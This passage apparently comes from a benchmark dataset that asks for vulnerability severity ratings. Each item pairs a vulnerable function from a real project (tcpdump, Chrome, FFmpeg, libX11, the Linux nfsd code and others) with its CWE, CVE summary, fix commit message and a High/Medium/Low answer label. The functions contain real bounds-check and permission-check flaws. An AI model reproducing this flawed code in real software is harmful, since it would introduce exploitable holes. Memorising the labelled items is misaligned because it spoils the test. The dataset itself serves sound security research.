mImg = NULL;
outInfo->mOwnedByUs = false;
outQueue.erase(outQueue.begin());
outInfo = NULL;
notifyFillBufferDone(outHeader);
outHeader = NULL;
}
if (!eos) {
return true;
}
if (!outQueue.empty()) {
outInfo = *outQueue.begin();
outQueue.erase(outQueue.begin());
outHeader = outInfo->mHeader;
outHeader->nTimeStamp = 0;
outHeader->nFilledLen = 0;
outHeader->nFlags = OMX_BUFFERFLAG_EOS;
outInfo->mOwnedByUs = false;
notifyFillBufferDone(outHeader);
mEOSStatus = OUTPUT_FRAMES_FLUSHED;
}
return true;
}
Vulnerability Type: Overflow +Priv
CWE ID: CWE-119
Summary: Buffer overflow in codecs/on2/dec/SoftVPX.cpp in libstagefright in mediaserver in Android 4.x before 4.4.4, 5.0.x before 5.0.2, 5.1.x before 5.1.1, 6.x before 2016-09-01, and 7.0 before 2016-09-01 allows attackers to gain privileges via a crafted application, aka internal bug 29421675.
Commit Message: SoftVPX: fix nFilledLen overflow
Bug: 29421675
Change-Id: I25d4cf54a5df22c2130c37e95c7c7f75063111f3
| High | 174,155 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: icmp6_nodeinfo_print(netdissect_options *ndo, u_int icmp6len, const u_char *bp, const u_char *ep)
{
const struct icmp6_nodeinfo *ni6;
const struct icmp6_hdr *dp;
const u_char *cp;
size_t siz, i;
int needcomma;
if (ep < bp)
return;
dp = (const struct icmp6_hdr *)bp;
ni6 = (const struct icmp6_nodeinfo *)bp;
siz = ep - bp;
switch (ni6->ni_type) {
case ICMP6_NI_QUERY:
if (siz == sizeof(*dp) + 4) {
/* KAME who-are-you */
ND_PRINT((ndo," who-are-you request"));
break;
}
ND_PRINT((ndo," node information query"));
ND_TCHECK2(*dp, sizeof(*ni6));
ni6 = (const struct icmp6_nodeinfo *)dp;
ND_PRINT((ndo," (")); /*)*/
switch (EXTRACT_16BITS(&ni6->ni_qtype)) {
case NI_QTYPE_NOOP:
ND_PRINT((ndo,"noop"));
break;
case NI_QTYPE_SUPTYPES:
ND_PRINT((ndo,"supported qtypes"));
i = EXTRACT_16BITS(&ni6->ni_flags);
if (i)
ND_PRINT((ndo," [%s]", (i & 0x01) ? "C" : ""));
break;
case NI_QTYPE_FQDN:
ND_PRINT((ndo,"DNS name"));
break;
case NI_QTYPE_NODEADDR:
ND_PRINT((ndo,"node addresses"));
i = ni6->ni_flags;
if (!i)
break;
/* NI_NODEADDR_FLAG_TRUNCATE undefined for query */
ND_PRINT((ndo," [%s%s%s%s%s%s]",
(i & NI_NODEADDR_FLAG_ANYCAST) ? "a" : "",
(i & NI_NODEADDR_FLAG_GLOBAL) ? "G" : "",
(i & NI_NODEADDR_FLAG_SITELOCAL) ? "S" : "",
(i & NI_NODEADDR_FLAG_LINKLOCAL) ? "L" : "",
(i & NI_NODEADDR_FLAG_COMPAT) ? "C" : "",
(i & NI_NODEADDR_FLAG_ALL) ? "A" : ""));
break;
default:
ND_PRINT((ndo,"unknown"));
break;
}
if (ni6->ni_qtype == NI_QTYPE_NOOP ||
ni6->ni_qtype == NI_QTYPE_SUPTYPES) {
if (siz != sizeof(*ni6))
if (ndo->ndo_vflag)
ND_PRINT((ndo,", invalid len"));
/*(*/
ND_PRINT((ndo,")"));
break;
}
/* XXX backward compat, icmp-name-lookup-03 */
if (siz == sizeof(*ni6)) {
ND_PRINT((ndo,", 03 draft"));
/*(*/
ND_PRINT((ndo,")"));
break;
}
switch (ni6->ni_code) {
case ICMP6_NI_SUBJ_IPV6:
if (!ND_TTEST2(*dp,
sizeof(*ni6) + sizeof(struct in6_addr)))
break;
if (siz != sizeof(*ni6) + sizeof(struct in6_addr)) {
if (ndo->ndo_vflag)
ND_PRINT((ndo,", invalid subject len"));
break;
}
ND_PRINT((ndo,", subject=%s",
ip6addr_string(ndo, ni6 + 1)));
break;
case ICMP6_NI_SUBJ_FQDN:
ND_PRINT((ndo,", subject=DNS name"));
cp = (const u_char *)(ni6 + 1);
if (cp[0] == ep - cp - 1) {
/* icmp-name-lookup-03, pascal string */
if (ndo->ndo_vflag)
ND_PRINT((ndo,", 03 draft"));
cp++;
ND_PRINT((ndo,", \""));
while (cp < ep) {
safeputchar(ndo, *cp);
cp++;
}
ND_PRINT((ndo,"\""));
} else
dnsname_print(ndo, cp, ep);
break;
case ICMP6_NI_SUBJ_IPV4:
if (!ND_TTEST2(*dp, sizeof(*ni6) + sizeof(struct in_addr)))
break;
if (siz != sizeof(*ni6) + sizeof(struct in_addr)) {
if (ndo->ndo_vflag)
ND_PRINT((ndo,", invalid subject len"));
break;
}
ND_PRINT((ndo,", subject=%s",
ipaddr_string(ndo, ni6 + 1)));
break;
default:
ND_PRINT((ndo,", unknown subject"));
break;
}
/*(*/
ND_PRINT((ndo,")"));
break;
case ICMP6_NI_REPLY:
if (icmp6len > siz) {
ND_PRINT((ndo,"[|icmp6: node information reply]"));
break;
}
needcomma = 0;
ni6 = (const struct icmp6_nodeinfo *)dp;
ND_PRINT((ndo," node information reply"));
ND_PRINT((ndo," (")); /*)*/
switch (ni6->ni_code) {
case ICMP6_NI_SUCCESS:
if (ndo->ndo_vflag) {
ND_PRINT((ndo,"success"));
needcomma++;
}
break;
case ICMP6_NI_REFUSED:
ND_PRINT((ndo,"refused"));
needcomma++;
if (siz != sizeof(*ni6))
if (ndo->ndo_vflag)
ND_PRINT((ndo,", invalid length"));
break;
case ICMP6_NI_UNKNOWN:
ND_PRINT((ndo,"unknown"));
needcomma++;
if (siz != sizeof(*ni6))
if (ndo->ndo_vflag)
ND_PRINT((ndo,", invalid length"));
break;
}
if (ni6->ni_code != ICMP6_NI_SUCCESS) {
/*(*/
ND_PRINT((ndo,")"));
break;
}
switch (EXTRACT_16BITS(&ni6->ni_qtype)) {
case NI_QTYPE_NOOP:
if (needcomma)
ND_PRINT((ndo,", "));
ND_PRINT((ndo,"noop"));
if (siz != sizeof(*ni6))
if (ndo->ndo_vflag)
ND_PRINT((ndo,", invalid length"));
break;
case NI_QTYPE_SUPTYPES:
if (needcomma)
ND_PRINT((ndo,", "));
ND_PRINT((ndo,"supported qtypes"));
i = EXTRACT_16BITS(&ni6->ni_flags);
if (i)
ND_PRINT((ndo," [%s]", (i & 0x01) ? "C" : ""));
break;
case NI_QTYPE_FQDN:
if (needcomma)
ND_PRINT((ndo,", "));
ND_PRINT((ndo,"DNS name"));
cp = (const u_char *)(ni6 + 1) + 4;
if (cp[0] == ep - cp - 1) {
/* icmp-name-lookup-03, pascal string */
if (ndo->ndo_vflag)
ND_PRINT((ndo,", 03 draft"));
cp++;
ND_PRINT((ndo,", \""));
while (cp < ep) {
safeputchar(ndo, *cp);
cp++;
}
ND_PRINT((ndo,"\""));
} else
dnsname_print(ndo, cp, ep);
if ((EXTRACT_16BITS(&ni6->ni_flags) & 0x01) != 0)
ND_PRINT((ndo," [TTL=%u]", EXTRACT_32BITS(ni6 + 1)));
break;
case NI_QTYPE_NODEADDR:
if (needcomma)
ND_PRINT((ndo,", "));
ND_PRINT((ndo,"node addresses"));
i = sizeof(*ni6);
while (i < siz) {
if (i + sizeof(struct in6_addr) + sizeof(int32_t) > siz)
break;
ND_PRINT((ndo," %s", ip6addr_string(ndo, bp + i)));
i += sizeof(struct in6_addr);
ND_PRINT((ndo,"(%d)", (int32_t)EXTRACT_32BITS(bp + i)));
i += sizeof(int32_t);
}
i = ni6->ni_flags;
if (!i)
break;
ND_PRINT((ndo," [%s%s%s%s%s%s%s]",
(i & NI_NODEADDR_FLAG_ANYCAST) ? "a" : "",
(i & NI_NODEADDR_FLAG_GLOBAL) ? "G" : "",
(i & NI_NODEADDR_FLAG_SITELOCAL) ? "S" : "",
(i & NI_NODEADDR_FLAG_LINKLOCAL) ? "L" : "",
(i & NI_NODEADDR_FLAG_COMPAT) ? "C" : "",
(i & NI_NODEADDR_FLAG_ALL) ? "A" : "",
(i & NI_NODEADDR_FLAG_TRUNCATE) ? "T" : ""));
break;
default:
if (needcomma)
ND_PRINT((ndo,", "));
ND_PRINT((ndo,"unknown"));
break;
}
/*(*/
ND_PRINT((ndo,")"));
break;
}
return;
trunc:
ND_PRINT((ndo, "[|icmp6]"));
}
Vulnerability Type:
CWE ID: CWE-125
Summary: The ICMPv6 parser in tcpdump before 4.9.2 has a buffer over-read in print-icmp6.c:icmp6_nodeinfo_print().
Commit Message: CVE-2017-13041/ICMP6: Add more bounds checks.
This fixes a buffer over-read discovered by Kim Gwan Yeong.
Add a test using the capture file supplied by the reporter(s). | High | 167,834 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: void PrintWebViewHelper::OnPrintPreview(const base::DictionaryValue& settings) {
print_preview_context_.OnPrintPreview();
UMA_HISTOGRAM_ENUMERATION("PrintPreview.PreviewEvent",
PREVIEW_EVENT_REQUESTED, PREVIEW_EVENT_MAX);
if (!print_preview_context_.source_frame()) {
DidFinishPrinting(FAIL_PREVIEW);
return;
}
if (!UpdatePrintSettings(print_preview_context_.source_frame(),
print_preview_context_.source_node(), settings)) {
if (print_preview_context_.last_error() != PREVIEW_ERROR_BAD_SETTING) {
Send(new PrintHostMsg_PrintPreviewInvalidPrinterSettings(
routing_id(), print_pages_params_
? print_pages_params_->params.document_cookie
: 0));
notify_browser_of_print_failure_ = false; // Already sent.
}
DidFinishPrinting(FAIL_PREVIEW);
return;
}
if (print_pages_params_->params.is_first_request &&
!print_preview_context_.IsModifiable()) {
PrintHostMsg_SetOptionsFromDocument_Params options;
if (SetOptionsFromPdfDocument(&options))
Send(new PrintHostMsg_SetOptionsFromDocument(routing_id(), options));
}
is_print_ready_metafile_sent_ = false;
print_pages_params_->params.supports_alpha_blend = true;
bool generate_draft_pages = false;
if (!settings.GetBoolean(kSettingGenerateDraftData, &generate_draft_pages)) {
NOTREACHED();
}
print_preview_context_.set_generate_draft_pages(generate_draft_pages);
PrepareFrameForPreviewDocument();
}
Vulnerability Type: DoS
CWE ID:
Summary: Multiple use-after-free vulnerabilities in the PrintWebViewHelper class in components/printing/renderer/print_web_view_helper.cc in Google Chrome before 45.0.2454.85 allow user-assisted remote attackers to cause a denial of service or possibly have unspecified other impact by triggering nested IPC messages during preparation for printing, as demonstrated by messages associated with PDF documents in conjunction with messages about printer capabilities.
Commit Message: Crash on nested IPC handlers in PrintWebViewHelper
Class is not designed to handle nested IPC. Regular flows also does not
expect them. Still during printing of plugging them may show message
boxes and start nested message loops.
For now we are going just crash. If stats show us that this case is
frequent we will have to do something more complicated.
BUG=502562
Review URL: https://codereview.chromium.org/1228693002
Cr-Commit-Position: refs/heads/master@{#338100} | High | 171,876 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: GLboolean WebGL2RenderingContextBase::isTransformFeedback(
WebGLTransformFeedback* feedback) {
if (isContextLost() || !feedback)
return 0;
if (!feedback->HasEverBeenBound())
return 0;
return ContextGL()->IsTransformFeedback(feedback->Object());
}
Vulnerability Type: Overflow
CWE ID: CWE-119
Summary: Insufficient data validation in WebGL in Google Chrome prior to 68.0.3440.75 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.
Commit Message: Validate all incoming WebGLObjects.
A few entry points were missing the correct validation.
Tested with improved conformance tests in
https://github.com/KhronosGroup/WebGL/pull/2654 .
Bug: 848914
Cq-Include-Trybots: luci.chromium.try:android_optional_gpu_tests_rel;luci.chromium.try:linux_optional_gpu_tests_rel;luci.chromium.try:mac_optional_gpu_tests_rel;luci.chromium.try:win_optional_gpu_tests_rel
Change-Id: Ib98a61cc5bf378d1b3338b04acd7e1bc4c2fe008
Reviewed-on: https://chromium-review.googlesource.com/1086718
Reviewed-by: Kai Ninomiya <[email protected]>
Reviewed-by: Antoine Labour <[email protected]>
Commit-Queue: Kenneth Russell <[email protected]>
Cr-Commit-Position: refs/heads/master@{#565016} | Medium | 173,126 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: char **XListExtensions(
register Display *dpy,
int *nextensions) /* RETURN */
{
xListExtensionsReply rep;
char **list = NULL;
char *ch = NULL;
char *chend;
int count = 0;
register unsigned i;
register int length;
_X_UNUSED register xReq *req;
unsigned long rlen = 0;
LockDisplay(dpy);
GetEmptyReq (ListExtensions, req);
if (! _XReply (dpy, (xReply *) &rep, 0, xFalse)) {
UnlockDisplay(dpy);
SyncHandle();
return (char **) NULL;
}
if (rep.nExtensions) {
list = Xmalloc (rep.nExtensions * sizeof (char *));
if (rep.length > 0 && rep.length < (INT_MAX >> 2)) {
rlen = rep.length << 2;
ch = Xmalloc (rlen + 1);
/* +1 to leave room for last null-terminator */
}
if ((!list) || (!ch)) {
Xfree(list);
Xfree(ch);
_XEatDataWords(dpy, rep.length);
UnlockDisplay(dpy);
SyncHandle();
return (char **) NULL;
}
_XReadPad (dpy, ch, rlen);
/*
* unpack into null terminated strings.
*/
chend = ch + (rlen + 1);
length = *ch;
for (i = 0; i < rep.nExtensions; i++) {
if (ch + length < chend) {
list[i] = ch+1; /* skip over length */
ch += length + 1; /* find next length ... */
if (ch <= chend) {
length = *ch;
*ch = '\0'; /* and replace with null-termination */
count++;
} else {
list[i] = NULL;
}
} else
list[i] = NULL;
}
}
} else
Vulnerability Type:
CWE ID: CWE-682
Summary: An issue was discovered in libX11 through 1.6.5. The function XListExtensions in ListExt.c is vulnerable to an off-by-one error caused by malicious server responses, leading to DoS or possibly unspecified other impact.
Commit Message: | High | 164,749 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: PHP_FUNCTION(xml_parser_create)
{
php_xml_parser_create_impl(INTERNAL_FUNCTION_PARAM_PASSTHRU, 0);
}
Vulnerability Type: DoS Overflow
CWE ID: CWE-119
Summary: The xml_parse_into_struct function in ext/xml/xml.c in PHP before 5.5.35, 5.6.x before 5.6.21, and 7.x before 7.0.6 allows remote attackers to cause a denial of service (buffer under-read and segmentation fault) or possibly have unspecified other impact via crafted XML data in the second argument, leading to a parser level of zero.
Commit Message: | High | 165,035 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: ExtensionTtsPlatformImpl* ExtensionTtsController::GetPlatformImpl() {
if (!platform_impl_)
platform_impl_ = ExtensionTtsPlatformImpl::GetInstance();
return platform_impl_;
}
Vulnerability Type: DoS
CWE ID: CWE-20
Summary: The PDF implementation in Google Chrome before 13.0.782.215 on Linux does not properly use the memset library function, which allows remote attackers to cause a denial of service or possibly have unspecified other impact via unknown vectors.
Commit Message: Extend TTS extension API to support richer events returned from the engine
to the client. Previously we just had a completed event; this adds start,
word boundary, sentence boundary, and marker boundary. In addition,
interrupted and canceled, which were previously errors, now become events.
Mac and Windows implementations extended to support as many of these events
as possible.
BUG=67713
BUG=70198
BUG=75106
BUG=83404
TEST=Updates all TTS API tests to be event-based, and adds new tests.
Review URL: http://codereview.chromium.org/6792014
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@91665 0039d316-1c4b-4281-b951-d872f2087c98 | High | 170,381 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static void vnc_async_encoding_start(VncState *orig, VncState *local)
{
local->vnc_encoding = orig->vnc_encoding;
local->features = orig->features;
local->ds = orig->ds;
local->vd = orig->vd;
local->lossy_rect = orig->lossy_rect;
local->write_pixels = orig->write_pixels;
local->clientds = orig->clientds;
local->tight = orig->tight;
local->zlib = orig->zlib;
local->hextile = orig->hextile;
local->output = queue->buffer;
local->csock = -1; /* Don't do any network work on this thread */
buffer_reset(&local->output);
}
Vulnerability Type:
CWE ID: CWE-125
Summary: An out-of-bounds memory access issue was found in Quick Emulator (QEMU) before 1.7.2 in the VNC display driver. This flaw could occur while refreshing the VNC display surface area in the 'vnc_refresh_server_surface'. A user inside a guest could use this flaw to crash the QEMU process.
Commit Message: | Medium | 165,469 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: V8ContextNativeHandler::V8ContextNativeHandler(ScriptContext* context,
Dispatcher* dispatcher)
: ObjectBackedNativeHandler(context),
context_(context),
dispatcher_(dispatcher) {
RouteFunction("GetAvailability",
base::Bind(&V8ContextNativeHandler::GetAvailability,
base::Unretained(this)));
RouteFunction("GetModuleSystem",
base::Bind(&V8ContextNativeHandler::GetModuleSystem,
base::Unretained(this)));
RouteFunction(
"RunWithNativesEnabledModuleSystem",
base::Bind(&V8ContextNativeHandler::RunWithNativesEnabledModuleSystem,
base::Unretained(this)));
}
Vulnerability Type: XSS
CWE ID: CWE-79
Summary: Cross-site scripting (XSS) vulnerability in the V8ContextNativeHandler::GetModuleSystem function in extensions/renderer/v8_context_native_handler.cc in Google Chrome before 44.0.2403.89 allows remote attackers to inject arbitrary web script or HTML by leveraging the lack of a certain V8 context restriction, aka a Blink *Universal XSS (UXSS).*
Commit Message: Add a test that getModuleSystem() doesn't work cross origin
BUG=504011
[email protected]
[email protected]
Review URL: https://codereview.chromium.org/1241443004
Cr-Commit-Position: refs/heads/master@{#338663} | Medium | 171,949 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static int decode_frame_common(AVCodecContext *avctx, PNGDecContext *s,
AVFrame *p, AVPacket *avpkt)
{
AVDictionary *metadata = NULL;
uint32_t tag, length;
int decode_next_dat = 0;
int ret;
for (;;) {
length = bytestream2_get_bytes_left(&s->gb);
if (length <= 0) {
if (avctx->codec_id == AV_CODEC_ID_PNG &&
avctx->skip_frame == AVDISCARD_ALL) {
av_frame_set_metadata(p, metadata);
return 0;
}
if (CONFIG_APNG_DECODER && avctx->codec_id == AV_CODEC_ID_APNG && length == 0) {
if (!(s->state & PNG_IDAT))
return 0;
else
goto exit_loop;
}
av_log(avctx, AV_LOG_ERROR, "%d bytes left\n", length);
if ( s->state & PNG_ALLIMAGE
&& avctx->strict_std_compliance <= FF_COMPLIANCE_NORMAL)
goto exit_loop;
ret = AVERROR_INVALIDDATA;
goto fail;
}
length = bytestream2_get_be32(&s->gb);
if (length > 0x7fffffff || length > bytestream2_get_bytes_left(&s->gb)) {
av_log(avctx, AV_LOG_ERROR, "chunk too big\n");
ret = AVERROR_INVALIDDATA;
goto fail;
}
tag = bytestream2_get_le32(&s->gb);
if (avctx->debug & FF_DEBUG_STARTCODE)
av_log(avctx, AV_LOG_DEBUG, "png: tag=%c%c%c%c length=%u\n",
(tag & 0xff),
((tag >> 8) & 0xff),
((tag >> 16) & 0xff),
((tag >> 24) & 0xff), length);
if (avctx->codec_id == AV_CODEC_ID_PNG &&
avctx->skip_frame == AVDISCARD_ALL) {
switch(tag) {
case MKTAG('I', 'H', 'D', 'R'):
case MKTAG('p', 'H', 'Y', 's'):
case MKTAG('t', 'E', 'X', 't'):
case MKTAG('I', 'D', 'A', 'T'):
case MKTAG('t', 'R', 'N', 'S'):
break;
default:
goto skip_tag;
}
}
switch (tag) {
case MKTAG('I', 'H', 'D', 'R'):
if ((ret = decode_ihdr_chunk(avctx, s, length)) < 0)
goto fail;
break;
case MKTAG('p', 'H', 'Y', 's'):
if ((ret = decode_phys_chunk(avctx, s)) < 0)
goto fail;
break;
case MKTAG('f', 'c', 'T', 'L'):
if (!CONFIG_APNG_DECODER || avctx->codec_id != AV_CODEC_ID_APNG)
goto skip_tag;
if ((ret = decode_fctl_chunk(avctx, s, length)) < 0)
goto fail;
decode_next_dat = 1;
break;
case MKTAG('f', 'd', 'A', 'T'):
if (!CONFIG_APNG_DECODER || avctx->codec_id != AV_CODEC_ID_APNG)
goto skip_tag;
if (!decode_next_dat) {
ret = AVERROR_INVALIDDATA;
goto fail;
}
bytestream2_get_be32(&s->gb);
length -= 4;
/* fallthrough */
case MKTAG('I', 'D', 'A', 'T'):
if (CONFIG_APNG_DECODER && avctx->codec_id == AV_CODEC_ID_APNG && !decode_next_dat)
goto skip_tag;
if ((ret = decode_idat_chunk(avctx, s, length, p)) < 0)
goto fail;
break;
case MKTAG('P', 'L', 'T', 'E'):
if (decode_plte_chunk(avctx, s, length) < 0)
goto skip_tag;
break;
case MKTAG('t', 'R', 'N', 'S'):
if (decode_trns_chunk(avctx, s, length) < 0)
goto skip_tag;
break;
case MKTAG('t', 'E', 'X', 't'):
if (decode_text_chunk(s, length, 0, &metadata) < 0)
av_log(avctx, AV_LOG_WARNING, "Broken tEXt chunk\n");
bytestream2_skip(&s->gb, length + 4);
break;
case MKTAG('z', 'T', 'X', 't'):
if (decode_text_chunk(s, length, 1, &metadata) < 0)
av_log(avctx, AV_LOG_WARNING, "Broken zTXt chunk\n");
bytestream2_skip(&s->gb, length + 4);
break;
case MKTAG('s', 'T', 'E', 'R'): {
int mode = bytestream2_get_byte(&s->gb);
AVStereo3D *stereo3d = av_stereo3d_create_side_data(p);
if (!stereo3d)
goto fail;
if (mode == 0 || mode == 1) {
stereo3d->type = AV_STEREO3D_SIDEBYSIDE;
stereo3d->flags = mode ? 0 : AV_STEREO3D_FLAG_INVERT;
} else {
av_log(avctx, AV_LOG_WARNING,
"Unknown value in sTER chunk (%d)\n", mode);
}
bytestream2_skip(&s->gb, 4); /* crc */
break;
}
case MKTAG('I', 'E', 'N', 'D'):
if (!(s->state & PNG_ALLIMAGE))
av_log(avctx, AV_LOG_ERROR, "IEND without all image\n");
if (!(s->state & (PNG_ALLIMAGE|PNG_IDAT))) {
ret = AVERROR_INVALIDDATA;
goto fail;
}
bytestream2_skip(&s->gb, 4); /* crc */
goto exit_loop;
default:
/* skip tag */
skip_tag:
bytestream2_skip(&s->gb, length + 4);
break;
}
}
exit_loop:
if (avctx->codec_id == AV_CODEC_ID_PNG &&
avctx->skip_frame == AVDISCARD_ALL) {
av_frame_set_metadata(p, metadata);
return 0;
}
if (s->bits_per_pixel <= 4)
handle_small_bpp(s, p);
/* apply transparency if needed */
if (s->has_trns && s->color_type != PNG_COLOR_TYPE_PALETTE) {
size_t byte_depth = s->bit_depth > 8 ? 2 : 1;
size_t raw_bpp = s->bpp - byte_depth;
unsigned x, y;
for (y = 0; y < s->height; ++y) {
uint8_t *row = &s->image_buf[s->image_linesize * y];
/* since we're updating in-place, we have to go from right to left */
for (x = s->width; x > 0; --x) {
uint8_t *pixel = &row[s->bpp * (x - 1)];
memmove(pixel, &row[raw_bpp * (x - 1)], raw_bpp);
if (!memcmp(pixel, s->transparent_color_be, raw_bpp)) {
memset(&pixel[raw_bpp], 0, byte_depth);
} else {
memset(&pixel[raw_bpp], 0xff, byte_depth);
}
}
}
}
/* handle P-frames only if a predecessor frame is available */
if (s->last_picture.f->data[0]) {
if ( !(avpkt->flags & AV_PKT_FLAG_KEY) && avctx->codec_tag != AV_RL32("MPNG")
&& s->last_picture.f->width == p->width
&& s->last_picture.f->height== p->height
&& s->last_picture.f->format== p->format
) {
if (CONFIG_PNG_DECODER && avctx->codec_id != AV_CODEC_ID_APNG)
handle_p_frame_png(s, p);
else if (CONFIG_APNG_DECODER &&
avctx->codec_id == AV_CODEC_ID_APNG &&
(ret = handle_p_frame_apng(avctx, s, p)) < 0)
goto fail;
}
}
ff_thread_report_progress(&s->picture, INT_MAX, 0);
ff_thread_report_progress(&s->previous_picture, INT_MAX, 0);
av_frame_set_metadata(p, metadata);
metadata = NULL;
return 0;
fail:
av_dict_free(&metadata);
ff_thread_report_progress(&s->picture, INT_MAX, 0);
ff_thread_report_progress(&s->previous_picture, INT_MAX, 0);
return ret;
}
Vulnerability Type: Overflow
CWE ID: CWE-787
Summary: FFmpeg before 2017-02-04 has an out-of-bounds write caused by a heap-based buffer overflow related to the decode_frame_common function in libavcodec/pngdec.c.
Commit Message: avcodec/pngdec: Check trns more completely
Fixes out of array access
Fixes: 546/clusterfuzz-testcase-4809433909559296
Found-by: continuous fuzzing process https://github.com/google/oss-fuzz/tree/master/targets/ffmpeg
Signed-off-by: Michael Niedermayer <[email protected]> | High | 168,247 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static __be32 nfsacld_proc_setacl(struct svc_rqst * rqstp,
struct nfsd3_setaclargs *argp,
struct nfsd_attrstat *resp)
{
struct inode *inode;
svc_fh *fh;
__be32 nfserr = 0;
int error;
dprintk("nfsd: SETACL(2acl) %s\n", SVCFH_fmt(&argp->fh));
fh = fh_copy(&resp->fh, &argp->fh);
nfserr = fh_verify(rqstp, &resp->fh, 0, NFSD_MAY_SATTR);
if (nfserr)
goto out;
inode = d_inode(fh->fh_dentry);
if (!IS_POSIXACL(inode) || !inode->i_op->set_acl) {
error = -EOPNOTSUPP;
goto out_errno;
}
error = fh_want_write(fh);
if (error)
goto out_errno;
error = inode->i_op->set_acl(inode, argp->acl_access, ACL_TYPE_ACCESS);
if (error)
goto out_drop_write;
error = inode->i_op->set_acl(inode, argp->acl_default,
ACL_TYPE_DEFAULT);
if (error)
goto out_drop_write;
fh_drop_write(fh);
nfserr = fh_getattr(fh, &resp->stat);
out:
/* argp->acl_{access,default} may have been allocated in
nfssvc_decode_setaclargs. */
posix_acl_release(argp->acl_access);
posix_acl_release(argp->acl_default);
return nfserr;
out_drop_write:
fh_drop_write(fh);
out_errno:
nfserr = nfserrno(error);
goto out;
}
Vulnerability Type: Bypass
CWE ID: CWE-284
Summary: nfsd in the Linux kernel through 4.6.3 allows local users to bypass intended file-permission restrictions by setting a POSIX ACL, related to nfs2acl.c, nfs3acl.c, and nfs4acl.c.
Commit Message: nfsd: check permissions when setting ACLs
Use set_posix_acl, which includes proper permission checks, instead of
calling ->set_acl directly. Without this anyone may be able to grant
themselves permissions to a file by setting the ACL.
Lock the inode to make the new checks atomic with respect to set_acl.
(Also, nfsd was the only caller of set_acl not locking the inode, so I
suspect this may fix other races.)
This also simplifies the code, and ensures our ACLs are checked by
posix_acl_valid.
The permission checks and the inode locking were lost with commit
4ac7249e, which changed nfsd to use the set_acl inode operation directly
instead of going through xattr handlers.
Reported-by: David Sinquin <[email protected]>
[[email protected]: use set_posix_acl]
Fixes: 4ac7249e
Cc: Christoph Hellwig <[email protected]>
Cc: Al Viro <[email protected]>
Cc: [email protected]
Signed-off-by: J. Bruce Fields <[email protected]> | Medium | 167,447 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static int rawv6_recvmsg(struct kiocb *iocb, struct sock *sk,
struct msghdr *msg, size_t len,
int noblock, int flags, int *addr_len)
{
struct ipv6_pinfo *np = inet6_sk(sk);
struct sockaddr_in6 *sin6 = (struct sockaddr_in6 *)msg->msg_name;
struct sk_buff *skb;
size_t copied;
int err;
if (flags & MSG_OOB)
return -EOPNOTSUPP;
if (addr_len)
*addr_len=sizeof(*sin6);
if (flags & MSG_ERRQUEUE)
return ipv6_recv_error(sk, msg, len);
if (np->rxpmtu && np->rxopt.bits.rxpmtu)
return ipv6_recv_rxpmtu(sk, msg, len);
skb = skb_recv_datagram(sk, flags, noblock, &err);
if (!skb)
goto out;
copied = skb->len;
if (copied > len) {
copied = len;
msg->msg_flags |= MSG_TRUNC;
}
if (skb_csum_unnecessary(skb)) {
err = skb_copy_datagram_iovec(skb, 0, msg->msg_iov, copied);
} else if (msg->msg_flags&MSG_TRUNC) {
if (__skb_checksum_complete(skb))
goto csum_copy_err;
err = skb_copy_datagram_iovec(skb, 0, msg->msg_iov, copied);
} else {
err = skb_copy_and_csum_datagram_iovec(skb, 0, msg->msg_iov);
if (err == -EINVAL)
goto csum_copy_err;
}
if (err)
goto out_free;
/* Copy the address. */
if (sin6) {
sin6->sin6_family = AF_INET6;
sin6->sin6_port = 0;
sin6->sin6_addr = ipv6_hdr(skb)->saddr;
sin6->sin6_flowinfo = 0;
sin6->sin6_scope_id = ipv6_iface_scope_id(&sin6->sin6_addr,
IP6CB(skb)->iif);
}
sock_recv_ts_and_drops(msg, sk, skb);
if (np->rxopt.all)
ip6_datagram_recv_ctl(sk, msg, skb);
err = copied;
if (flags & MSG_TRUNC)
err = skb->len;
out_free:
skb_free_datagram(sk, skb);
out:
return err;
csum_copy_err:
skb_kill_datagram(sk, skb, flags);
/* Error for blocking case is chosen to masquerade
as some normal condition.
*/
err = (flags&MSG_DONTWAIT) ? -EAGAIN : -EHOSTUNREACH;
goto out;
}
Vulnerability Type: +Info
CWE ID: CWE-200
